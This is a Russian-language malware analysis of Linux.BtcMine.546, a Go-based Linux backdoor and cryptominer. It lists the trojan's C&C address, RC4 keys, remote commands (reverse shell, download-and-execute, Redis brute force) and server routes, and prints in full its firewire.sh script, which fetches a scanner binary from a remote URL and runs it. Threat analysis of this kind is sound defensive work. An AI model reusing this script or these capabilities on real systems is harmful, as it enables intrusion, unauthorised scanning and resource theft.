SHA1-хеш:
- e545ceffc8948e3ca9900212807cf3a862d33581
Описание
Linux.BtcMine.546 является троянской программой-бэкдором, способной заражать устройства под управлением ОС Linux и запускать майнер для добычи криптовалюты. Этот троян обладает развитыми возможностями по удаленному управлению. Реализован в виде исполняемого файла формата ELF64, написанного на языке Go.
Принцип действия
При запуске троян проверяет, не был ли он запущен на компьютере ранее. Если он находит свой запущенный процесс, что выражается в наличии файла .lock, то работающий экземпляр программы завершается. После этого троян получает свои настройки посредством библиотеки envconfig, которая позволяет инициализировать конфигурации на основании переменных среды. В частности, envconfig вносит в структуру Specification IP-адрес C&C-сервера и флаг включения майнера:
struct Specification{
string Backend; // IP-адрес С&C-сервера, строка закодирована с помощью RC4
bool Debug;
bool DisableMi; // флаг включения майнера
};
Если в конфигурации не указан IP-адрес C&C-сервера, то трояну передается адрес по умолчанию — hxxp://185.154.53[.]140. На управляющий сервер отправляется информация о системе, включающая наименование ОС, тип архитектуры, версию трояна, количество ядер процессора, объем памяти и другие параметры. После отправки этих данных троян переходит в режим приема команд. Следует отметить, что весь трафик между трояном и управляющим сервером шифруется потоковым шифром RC4. В качестве ключей используются следующие две последовательности: 2abd6e2c1akl762939453125 и 764153446b61.
Список поддерживаемых команд
Название | Описание |
---|---|
scan | Сканирование портов |
update | Скачивает новую версию трояна и перезапускает его |
exec | Запускает команду через /bin/sh -c |
exec_output | Запускает команду через /bin/sh -c Результат отправляется на сервер |
masscan | Создает скрипт firewire.sh Запускает его на исполнение Удаляет скрипт |
socks | Создает прокси (SOCKS5) |
backconnect | Создает reverse shell |
request | Отправка HTTP-запросов |
tcp | Перенаправляет полезную нагрузку на целевой компьютер |
download_and_exec | Скачивает файл и запускает его Результат отправляется на сервер Скачанный файл удаляется из системы |
redisBrute | Начинает брутфорс аутентификации в Redis |
krongo | Меняет IP-адрес активного C&C-сервера |
stat | Отправляет на сервер информацию о том, сколько памяти использует майнер |
mkill | Завершает работу майнера |
Список используемых маршрутов
Название | Описание | Метод |
---|---|---|
/o | Отправка результатов на сервер | POST |
/mg | Получение PID текущего майнера | GET |
/ms | Отправка PID майнера | POST |
/getT | Получение дополнительной информации о команде (аргументы) | POST |
/get | Получение задачи | GET |
/s | Отправка данных о SOCK5-соединении | POST |
/r | Отправка результата выполненной команды | POST |
/l | Отправка файлов журнала | POST |
/h | Поддержание активности соединения | GET |
Скрипт firewire.sh, создаваемый и выполняемый трояном, проверяет информацию о дистрибутиве в файле /etc/os-release, определяет тип пакетного менеджера, ищет установленный пакет libpcap-devel (библиотека для низкоуровневого мониторинга сети) и, если такой пакет отсутствует, выполняет его установку.
#!/bin/sh
PORT=$1
RATE=$2
INPUT=$3
OUTPUT=$4
MASSCAN=$5
cat /etc/os-release | grep -vw grep | grep "rhel" >/dev/null
if [ $? -eq 0 ]
then
rpm -qa | grep libpcap-dev > /dev/null
if [[ $? -eq 0 ]]; then
echo "Package is installed rhel!"
els'
echo "Package is NOT installed rhel!"
yum -y update
yum -y install libpcap-devel
fi
else
if [ $(dpkg-query -W -f=',27h,'${Status}',27h,' libpcap-dev 2
>/dev/null | grep -c "ok installed") -eq 0 ];
then
echo "Package is NOT installed deb!"
apt-get update
apt-get install -y libpcap-dev
else
echo "Package is installed deb!"
fi
fi
if [ -x "$(command -v md5sum)" ]; then
sum=$(md5sum firewire | awk ',27h,'{ print $1 }',27h,')
echo $sum
case $sum in
45a7ef83238f5244738bb5e7e3dd6299)
echo "firewire OK"
;;
*)
echo "firewire wrong"
(curl -o firewire $MASSCAN || wget -O firewire $MASSCAN)
;;'
esac
else
echo "No md5sum"'
(curl -o firewire $MASSCAN || wget -O firewire $MASSCAN)
fi
chmod +x firewire
./firewire -iL $INPUT --rate $RATE -p$PORT -oL $OUTPUT 2>/dev/null
if [ $? -eq 0 ]
then
echo "success"
else
echo "fail"
sudo ./firewire -iL $INPUT --rate $RATE -p$PORT -oL $OUTPUT 2
>/dev/null
if [ $? -eq 0 ]
then
echo "success2"
else
echo "fail2"
fi
fi
Для получения информации о запущенных процессах троян использует адаптированную для языка Go версию библиотеки psutil: https://github.com/shirou/gopsutil/tree/master.
Обработку HTTP-запросов троян выполняет с помощью библиотеки Resty: https://github.com/go-resty/resty.
Работа с SOCKS5-прокси обеспечивается пакетом go-socks5: https://github.com/armon/go-socks5.